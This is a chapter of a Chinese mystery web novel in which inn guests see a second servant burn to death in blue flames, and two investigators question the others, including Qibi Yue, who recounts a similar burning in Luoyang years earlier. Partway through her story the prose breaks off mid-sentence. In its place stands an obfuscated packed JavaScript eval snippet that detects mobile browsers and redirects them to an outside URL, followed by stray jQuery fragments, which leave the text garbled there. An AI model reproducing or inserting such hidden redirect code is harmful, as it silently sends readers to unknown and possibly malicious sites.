夜笼月,山载雪,小楼闲庭相望寒。
又是夜半,云娘店中熟睡的客人们再一次被后院传来的动静吵醒。
听到声音后的商隐之飞快地起身来到窗口,眼前的一幕和前一天晚上的场景一模一样。穿着单衣的男人恍恍惚惚地赤脚行走在雪地上,口中还念念有词。
隔了几个窗户的契苾月发出惊叫,“天啊,不会是明武回来了吧。”
状似痴呆的男人走到前一天明武自燃的位置,然后停了下来。他缓缓转过身来,商隐之看到了他的脸,和他刚才的猜测一样,是明礼。
下一秒,明礼也自燃于蓝色的火焰之中。
商隐之听到隔壁的门似有响动,他连忙出去,看到晏熙已穿戴整齐正准备下楼查看,商隐之拽住了晏熙,“你等等,我和你一起。”
商隐之回房披上裘皮,一回头他在昨夜和晏熙玩樗蒱的桌子上看到了一方罗帕。商隐之将罗帕拿起攥在手中片刻,又将它放回桌上,然后拿着一顶帽子出了门。
商隐之把帽子戴在晏熙的头上,然后招呼她,“走吧。”
后院的白茫茫的雪地中央突兀地出现了一堆燃烧过后的骨块,空气中弥漫着刺鼻的焦臭味,商隐之和晏熙在深一脚浅一脚地跑了过去。
骨块的状态、气味、颜色与前一天的明武完全一致。
后院雪地上只有明礼和他们二人的脚印,除此之外并无其他痕迹,待到温度冷却后,商隐之和晏熙将明礼的骨灰收起来带了回去。
这次没有明礼的大喊大叫,店中众人却还是聚集到了客堂之中。
除了还在沉睡着的丁文元,其他人都到了。他们大多虽衣着还算整齐,头发却都胡乱地散落着。看起来,所有人都是一副刚刚从睡梦中惊醒的样子。
师玄温无力地垂头坐着,他身后站着阿信和顺平,两个人正双手合十悄悄向四方作揖。师玄温旁边的椅子上瑟缩着契苾月,苏云碧则一下一下拍着她的肩膀安抚。张大虎看起来还不是很清醒,他身旁的齐怀章则双目清明,身姿挺拔。李绍成、王嗣、李素织还有杜仲和秋琴则与他们相对而坐。这几人身形紧绷,眼神戒备,尤其是李绍成的眼神,几乎近似凶狠。独自一人酒还未醒的杨远则坐于两方之中。
晏熙悄悄对喜松和福砚耳语几句,两个人便跑了出去。
契苾月眼尾通红,双目似怨似泣,“事到如今,你们还不相信是山魅在作祟吗?”
没有人回答她的问题。有几个人悄悄看向了晏熙,所有人都在等着有人可以给他们一个答案。
李绍成将那凶恶的目光定格在契苾月身上,“你为什么一直揪着山魅不放?你到底是谁?说,是不是你这个毒妇做了什么?”
李素织和王嗣上前拉住了李绍成,契苾月突然笑出了声,“李县令,如今你还觉得,这是人力可为的事情吗?罢了,随便你们信不信,反正,我一向敬重山魅,想必,即使还有下一个人,也不会是我。”
契苾月此言一出,在场的气氛瞬间更加微妙了。
前一晚明武出事,是谁做的虽然尚未有定论,但在众人看来那只不过是一场意外事件,或者说,是明武咎由自取。而今夜明礼又以同样的方式死去,即使明礼和明武同样傲慢无礼,细微的不安、恐惧和怀疑也仍在人群中蔓延开来。
从旁观者变成了当局者,人人开始自危。他们用眼神打量着彼此,开始默默思索,我有没有得罪过山魅,我有没有得罪过在座的某位。
李绍成慢慢握紧了拳头,李素织则不动声色地握住了她父亲的手。
“诸位,请听我说。”晏熙站了出来,“请大家先不要惊慌,此事正在调查之中,我一定会尽快找到真凶,给大家一个结果。现在时间尚早,诸位还是都先回去休息吧。”
“我已经有了一些眉目,只是还需进一步调查,我保证,我不会让这云娘店中任何一个无辜之人受到伤害。”
众人三三两两散去,唯独杨远和李素织还留在原地。
李素织看向杨远,“杨公子,你不回去吗?”
杨远宿醉的眼睛直愣愣地看着李素织,“李小姐,你不是没有回去。”
李素织坦然笑笑,“我有话要和晏公子讲,你呢?”
杨远看了一眼晏熙,冷笑一声,“是啊,晏公子清逸俊朗,秉旄仗钺,谁不想和晏公子说话呢。”
商隐之站在晏熙身后,悄悄钩住晏熙的衣袖,然后俯在她耳边“晏公子,我也想和你说说话。”
晏熙的耳朵瞬间泛出了红晕,她回过头给了这个在一旁添乱的商隐之一记眼刀。
杨远的回答让李素织愣了一下,“杨公子,已往不可谏,来者犹可追①。既然你也有话想和晏公子说,那你先请吧。”
杨远起身走到晏熙近旁,“那个……”
商隐之看了看杨远,“成峰兄是不好直接说出口吗?需要我回避一下吗?”
杨远摇了摇头,“不不不,不用,我就是想问问,晏公子到底调查到哪一步了,能确定是人还是山魅做的了吗?”
“抱歉,杨公子,现在还不能透露。”
杨远冷哼一声,“那就是还没查清楚。我说,晏公子,都已经死了两个人呢,您还是专心快点查案吧,别再把心思花在别的地方了。”
晏熙眨了眨眼睛,“好的,多谢杨公子的建议,我会的。”
杨远意外地看了一眼晏熙,“态度还挺好。好吧,那我走了,你有空就多查案子啊。”
杨远走后,晏熙走到李素织面前,“李小姐,你有什么话还请讲。”
李素织看了看晏熙身后的商隐之。
商隐之解释道,“李小姐,还请问你是要和晏大人谈论哪个方面?我现在是晏大人的书童,如果你们要谈论的内容和案情有关,那我是一定要在场负责记录的。”
“书童?”李素织看起来并不相信,于是向晏熙求证。晏熙点了点头。
“好吧。”李素织笑笑,“真是没想到,商公子居然成了书童。”然后她正色道,“晏公子,关于这两天发生的事情,我有一个猜想。”
“请讲。”
“我怀疑,这一切都是冲着我的父亲来的,凶手的下一个目标,很有可能就是我的父亲。”
晏熙和商隐之对视一眼,“李小姐为什么这么觉得?”
“凶手接连两夜除去了我父亲的两个贴身侍从,现下我父亲身边无人可用,处境被动,还请晏大人一定要护我父亲安全。”
“我以为,是明武明礼举止无礼,至于李大人,好歹是朝廷命官……”晏熙顿了顿,“不过你放心,我会注意的。”
李素织起身离开,“那就多谢晏大人了,还请晏大人务必多费心。”
先前不知跑去了哪里的喜松和福砚返回了客堂。
由于身上裹着的衣物较多,两个人跑起来像是福娃娃般一摇一晃,逗笑了商隐之,商隐之将晏熙转向喜松和福砚,笑得上气不接下气,“你快看,那两个糖葫芦回来了。”
喜松和福砚进来后不明所以,喜松一面警惕地看着他家公子一面向晏熙汇报,“我们去看过了,那丁大厨确实在他房中睡着,怎么叫都叫不醒。”
福砚也点点头,“我和喜松试了好多办法,又吵又闹又拍又打,挠了脚底板逗了喉结,可他就是没一点反应。要不是他还有呼吸,我们都怀疑他是不是出事了。”
喜松看着扶着晏熙快要笑晕过的商隐之,“晏公子,我家公子他怎么了?”
晏熙无奈地看了商隐之一眼,“无事,可能是半夜被吵醒的起床气延迟发作了吧。”
商隐之晏熙一行人来到明武和明礼的房间,再次进行了一番搜查,可惜依然什么都没发现。
晏熙自嘲道,“这个凶手心思太缜密了,什么破绽都没留下,再这样下去,我当真要怀疑是山魅做的了。”
商隐之看着晏熙,“晏公子,你说,如果凶手今夜真的还会再作案,会像李小姐说的那样。目标是李县令吗?”
晏熙摇摇头,“我不知道。查了一天,我什么都查出来,还又多了一条人命。”
福砚安慰晏熙,“公子,你别这样说,你已经尽力了,是那凶手太狡猾了。再或者说,凶手如果真的是山魅的话,查不出来也实属正常啊。”
晏熙对福砚笑了笑,“我没事,咱们继续查吧。”
商隐之给喜松和福砚一人写了几个字,让他们去房间练习,然后跟着晏熙找到了契苾月。
苏云碧正端了安神茶给契苾月,见晏熙和商隐之前来询问,放下茶后便告辞离开。
晏熙盯着苏云碧和契苾月看了看,“云娘当真心细如发,心地善良,愿意如此这般照顾孤身一人的契苾月姑娘。”
契苾月笑了笑,“是啊,多亏了云娘愿意照顾我,不然若是任凭我一个人面对这些事情,我怕是要发疯。”
“是啊,契苾月姑娘这已经是第三次经历山魅之事了吧。”
契苾月喝了口茶,然后点点头,“是第三次了。”
“那不如月姑娘给我二人讲讲之前我们没见过的那桩事如何?”
契苾月疑惑地看向晏熙,“晏公子,这是为何?之前那桩事发生在洛阳,且距今已有十余年。”
晏熙笑了笑,“眼下这案子越查越乱,离谱怪诞,我觉得你说的也有道理,因此想多了解一点儿山魅。”
“原来是这样啊,太好了,终于有人愿意相信我说的话了。”契苾月看起来有点儿激动,“晏公子,你知道这种你明明说的都是真的,却有没有人愿意相信的感觉吗?”
“那大约是十五六年前吧,那会儿我年纪尚小,具体的时间有点模糊了,只记得那一年,崇文馆里新来了两个校书郎,那二人旗鼓相当,皆龙凤之姿,洛阳城里都说是两位神仙同时下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516305|186232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凡了。”
“那二位校书郎关系甚好,常一同在洛阳城里出游。他们来到洛阳的第二年,其中一位校书郎大婚,另一位还带着自己的妻儿去参加了婚宴。”
“这出了事的,正是已有妻儿的这位校书郎。这位校书郎的妻子姓盛,有得一手织布的好手艺,她织出来的布匹在阳光下浮光掠影,宛似画作。城中不少人去找她讨教,就连我的母亲都曾前去拜访,不论身份贵贱,这位盛夫人总是笑意盈盈地迎接指导。”
“然而天妒英才,好景不长留,就在那年冬日,这位校书郎一家三口去山上游玩,回来第二日,他们一家便在夜晚燃于蓝色的火焰之中。那蓝焰照亮了半个洛阳,除了更旺更盛之外,和明武明礼身上的一模一样。”
“可怜那校书郎一家三口,连同家中宅院全部被烧毁殆尽。第二年秋天,和他一同来到洛阳的另一位校书郎也离开了,只留下这个故事。而到现在,还愿意听这个故事的人,也没几个了。”
契苾月讲完这个故事后,房间一时陷入了寂静。片刻之后,商隐之开口“月姑娘,这位校书郎一家在出事之前,可有得罪过什么人?”
契苾月摇了摇头,“那位校书郎温文尔雅,他的妻子盛夫人待人亲切,他家小儿还不足十岁,能得罪谁呢?”契苾月叹了口气,“这么好的一家人遭此横祸,只能是不小心得罪了哪位神仙精怪吧。”
商隐之皱了皱眉,“那他们可曾出现过如明武明礼一般的痴相?”
“有。夜间打更的更夫说,他在半夜遇到校书郎和盛夫人痴痴呆呆地在大街上行走,口中还念念有词。他开始以为自己是没睡醒,后来再想仔细看看,那二人已经离开了。但他认得那衣服,全洛阳只有盛夫人有那样的手艺。”
“那你可知道同他一起的另一位校书郎去了什么地方?”
契苾月摇了摇头,“这我就不知道了。”
商隐之继续追问,“所以全洛阳的人都觉得是山魅阿紫在作祟,就没有任何人看到什么可疑的人或物吗?”
“没有,因为就是山魅作祟。若不是这件事,我是不会如此笃信如今亦是山魅作祟的。”
一旁的晏熙接过话头,“契苾月姑娘,你既是胡人,为何在洛阳长大?”
“我的母亲是胡人,父亲是洛阳人,所以我在洛阳长大。”
“年关将近,月姑娘你为何不去洛阳而要来这晋桑县云岫山呢?”
契苾月垂了垂眉,“几年前,我家中父母因得罪了小人,被迫害至死。于是我逃出洛阳,一路奔走,从此四海为家,到处流浪。后来机缘巧合之下,我在年关来到了这家云娘店。云娘得知我无家可归,便收留我同她一起过年。所以这些年,我每到年关便会来此,我已经没有家了,这里就是我的家。”
“月姑娘觉得那明武明礼如何?”
“粗鄙无礼,傲慢自大。仗着背后有人便无法无天,随意欺辱普通百姓,这样的人,也不怪山魅要惩罚他们。”
“那月姑娘觉得李县令如何?”
契苾月愣了愣,“嗯?李县令?”
晏熙点了点头。
“李县令不该如此纵容手下胡作非为的。”
“我听云娘说,月姑娘这几日接连受到各种惊吓,晚上睡不好,那你可曾听到或看到什么奇怪的事情?”
“是有一件。”契苾月看了看商隐之和晏熙,“那天晚上,就是李县令他们刚来云娘店的那天,我因为明武明礼在席间对我无礼之事而不安,大半夜都没睡着,便想出门走走,结果我在楼道看见李小姐和杨公子在说话。”
“我本以为是杨公子喝醉了,李小姐在席间也算是帮我说了话,所以我也想帮帮她,正当我打算上前之时,我听到他们谈及什么‘过去’之类的,思及这二人可能早就相识,此番是在讨论私事,我不便打扰,便独自回房了。”
商隐之看向晏熙,晏熙只是点了点头,“那我可以问一下月姑娘前天和昨天晚上,都做了些什么吗?”
“也没做什么特别的。前天晚上宴会散了后我便回了房,想早点睡着把之前的事情都忘了。可是我越想睡着席间之事便越是清晰地出现在我的脑海中,处于无奈,我便去找了云娘,一是为她在席上帮我之事向她道谢,二是希望她能帮我疏解疏解。云娘拿出樗蒱与我二人解闷,但不久我看云娘甚是乏困,于是便告辞了。可是回房之后我还是睡不着,再次出门后便遇到了李小姐与杨公子。大约是时间真的晚了,这次回房之后不久我便睡着了,后来便是被明武的动静吵醒。”
“至于昨天晚上,昨天白日里我与诸位相处和谐,也没再与明礼发生龃龉,而且明武已经死了,我也不想再纠结之前之事,所以情绪不似前一夜起伏。再加上前一天晚上没有睡好,所以我晚饭之后回房很快便睡着了。”
商隐之和晏熙起身告辞,“月姑娘,多谢配合,你好好休息吧。”